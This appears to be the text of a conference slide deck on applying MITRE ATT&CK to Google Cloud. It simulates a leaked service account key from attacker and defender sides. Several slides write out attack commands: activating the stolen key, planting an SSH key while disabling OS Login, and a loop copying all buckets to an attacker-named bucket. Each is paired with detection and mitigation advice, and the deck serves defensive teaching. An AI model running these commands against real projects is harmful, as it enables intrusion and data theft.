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Applications of the MITRE ATT&CK framework on Google Cloud

OH CR&P!
I think we've been breached
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Orgs use MITRE 
ATT&CK in their SOC 1

MITRE ATT&CK Brief

The MITRE ATT&CK® framework is the most widely 
adopted investigation framework at present

Many enterprises are moving toward more widespread 
adoption as this framework improves its integration and 
automation capabilities. 

Knowledge base of adversary tactics, techniques and 
procedures (TTPs).

1. https://cltc.berkeley.edu/wp-content/uploads/2020/10/MITRE_ATTCK_Framework_Report.pdf

63%

Orgs experience 
ATT&CK
techniques monthly 1

81%

87% Adopting  ATT&CK for 
will improve security 
posture 1

https://cltc.berkeley.edu/wp-content/uploads/2020/10/MITRE_ATTCK_Framework_Report.pdf
https://cltc.berkeley.edu/wp-content/uploads/2020/10/MITRE_ATTCK_Framework_Report.pdf


We'll introduce 2 Cloud Reference Architectures.  The first is 
representative of an unsecured, default GCP Project.  The second will be a 
more secured GCP Project Environment.  

We'll simulate, discuss and demonstrate the impacts of the Leaked 
Credential event from both a Red Team and Blue Team perspective.

We'll conclude with security best practices, recommendations around 
detective and preventive measures to bolster your cloud security posture.

In this Presentation…



Architectures



The Default Compute Service Account Key Uploaded to a Public Repository

The Incident
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Discover 
Key

Initial Access: Valid Accounts

Access via 
Key

Attack 
Vectors

Attack

gcloud auth activate-service-account --key-file 
key.json

gcloud auth list

gcloud projects get-iam-policy $PROJECT_ID



Initial Access: Valid Accounts
Initial Attack

https://docs.google.com/file/d/1bGoYNoUBhpKEkODYrFfjxv7YvEIBmCTe/preview?resourcekey=0-cKAvjaJnSYmv5AaOFWFcRQ


Initial Access: Valid Accounts
Detect | Mitigate

Mitigate Threat

● Disable Auto IAM Grants for Default 
Accounts

● Disable service account key creation
● Workload Identity Federation
● VPC Service Controls

Detect Threat

● Anomaly Detection Leaked 
Credentials (SCC Finding)

● SA Self Investigation Alert (SCC 
Findings)

● Suspicious IPs (Admin Activity logs)

https://cloud.google.com/resource-manager/docs/organization-policy/restricting-service-accounts#disable_service_account_default_grants
https://cloud.google.com/resource-manager/docs/organization-policy/restricting-service-accounts#disable_service_account_default_grants
https://cloud.google.com/resource-manager/docs/organization-policy/restricting-service-accounts#disable_service_account_key_creation
https://cloud.google.com/iam/docs/workload-identity-federation
https://cloud.google.com/vpc-service-controls


Initial Access: Valid Accounts
Mitigate the Attack

https://docs.google.com/file/d/1DdkM_ER7tt6uh1qUait3zyMDx9YIY8D7/preview?resourcekey=0-4SUY3MyPb9HSCg0R94SI2Q


Create 
SSH Keys

Persistence: Account Manipulation

Keys to 
Metadata 

Server

Persist 
Login

cat > metadata-ssh-config << EOF
persistence-user:$SSH_PUB_KEY
EOF

gcloud compute project-info add-metadata \
   --metadata-from-file ssh-keys=metadata-ssh-config

gcloud compute project-info add-metadata \
   --metadata="enable-oslogin=FALSE"

Attack



Persistence: Account Manipulation
Attack

https://docs.google.com/file/d/1ZXUnaY6qzsR93-64U_e4RVP0FW1iFFIR/preview?resourcekey=0-sCnHktlg1H4lciW1si820g


Persistence: Account Manipulation
Detect | Mitigate

Mitigate Threat

● Enforce OS Login
● Disable Public IPs
● IAP for TCP Forwarding

Detect Threat

● Detect project and instance 
metadata changes (Admin Activity 
logs)

● Detect unrecognized IP addresses 
(OS Level Logs)

https://cloud.google.com/compute/docs/oslogin/manage-oslogin-in-an-org#set-org-policy
https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints
https://cloud.google.com/iap/docs/using-tcp-forwarding


Persistence: Account Manipulation
Mitigating the Attack

https://docs.google.com/file/d/1Puve4LAPgvsX-ZiUG7hdh_UKfnpiVn-L/preview?resourcekey=0-RPSedBF_lEDjxd5q6hbKdA


Discover 
Buckets

Exfiltration: Transfer Data to Cloud Account

Transfer 
data 

externally

Exfiltrate 
Data

Attack

EXFIL_BUCKET="gs://attackers-bucket-for-exfil"
BUCKETS=$(curl 
'http://storage.googleapis.com/storage/v1/b'..)

for bucket in $BUCKETS; do
  gsutil ls gs://$bucket
  gsutil -m cp -R "gs://$bucket" 
"gs://$EXFIL_BUCKET/$bucket"
done



Exfiltration: Transfer Data to Cloud Account
Attack

https://docs.google.com/file/d/1Dw8ZcLTcY84CwsjKE37Z-xkYyAurIdFi/preview?resourcekey=0-Sngw39hqmfXSPE9oI2cvsQ


Exfiltration: Transfer Data to Cloud Account
Detect | Mitigate

Mitigate Threat

● VPC Service Controls
● Least Privilege Permission

Detect Threat

● Data Read to GCS objects (Data 
Access logs)

● VPC Service Controls Violations 
(Policy Denied logs)

https://cloud.google.com/vpc-service-controls


Exfiltration: Transfer Data to Cloud Account
Mitigating the Attack

https://docs.google.com/file/d/14V7PpUWOhnj-gWA5XAqldt-aBZcOcVQc/preview?resourcekey=0-0t0b7sXNZFMEoq00vaixNA


Create 
VMs

Impact: Resource Hijacking

Create 
NATs

Abuse 
Resources

Attack

cat > metadata-ssh-config << EOF
persistence-user:$SSH_PUB_KEY
EOF

gcloud compute project-info add-metadata \
   --metadata="enable-oslogin=FALSE"

gcloud compute project-info add-metadata \
   --metadata-from-file ssh-keys=metadata-ssh-config



Impact: Resource Hijacking
Attack

https://docs.google.com/file/d/12ptXj-vAganO_rU-4Fs4IB97UUQ_jKHA/preview?resourcekey=0-Yr4y6-KkmICkLBXapnLvZQ


Impact: Resource Hijacking
Detect | Mitigate

Mitigate Threat

● Organizational Policies
○ Allowed external IPs
○ Restrict Cloud NAT usage
○ Restrict Locations
○ VPC Service Controls

Detect Threat

● Anomaly Detection (SCC Findings)
● Cryptomining Detection (SCC 

Findings)
● Suspicious IPs (Admin Activity logs)
● Org Policy Violation (Admin Activity 

logs)

https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints


Impact: Resource Hijacking
Mitigating the Attack

https://docs.google.com/file/d/1o5JmpsWUJWzqdhxtg34tDVa9v34RGwwK/preview?resourcekey=0-DZJda5pm6Wr6O903lbtaIg


Concluding remarks…

GCP Security Foundations White Paper

Sample ATT&CK scripts and logs

https://services.google.com/fh/files/misc/google-cloud-security-foundations-guide.pdf
https://github.com/garrettwong/gcp-mitre-attack-external


Questions? 

Feedback Form
https://bit.ly/fwdcs21-wong

https://bit.ly/fwdcs21-wong

